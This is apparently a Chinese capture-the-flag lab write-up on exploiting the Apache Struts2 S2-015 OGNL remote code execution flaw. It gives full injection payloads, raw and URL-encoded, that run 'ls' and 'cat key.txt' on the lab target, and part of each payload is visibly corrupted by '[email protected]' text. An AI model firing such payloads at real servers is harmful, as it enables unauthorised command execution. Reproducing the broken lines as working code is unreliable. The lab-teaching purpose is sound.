墨者學習
By/shy014
背景介紹
某日,安全工程師"墨者"對一單位業務系統進行授權掃描,在掃描過程中,發現了某個業務系統使用Apache Struts2框架。並且該版本存在高危漏洞,不知道運維人員是否修補了漏洞。
實訓目標
1、瞭解Apache Struts2框架;
2、瞭解Apache Struts2遠程代碼執行漏洞(S2-015);
3、瞭解Apache Struts2遠程代碼執行漏洞形成原理;
4、掌握Apache Struts2遠程代碼執行漏洞利用方法;
解題方向
驗證Apache Struts2遠程代碼執行漏洞(S2-015)。
由於通配符匹配機制引入的漏洞或OGNL表達式的雙重評估允許遠程命令執行。
- 在墨者學院找到該靶場並點擊啓動靶場
- 點擊訪問,進入靶場環境,輸入/${1+1}.action。發現表達式被執行,證明存在漏洞。
- 查看文件
Payload:${#context[‘xwork.MethodAccessor.denyMethodExecution’]=false,#m=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess’),#m.setAccessible(true),#m.set(#_memberAccess,true),#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(‘ls’).getInputStream()),#q}.action
需要經過url編碼:
/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%2C%23q%7D.action
4.執行cat key.txt,獲取key
Payload:/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27cat%20key.txt%27%29.getInputStream%28%29%29%2C%23q%7D.action
二.使用struts2漏洞檢測工具
1.使用工具進行檢測,發現存在漏洞
2.執行ls命令
- 讀取key.txt值
- 提交key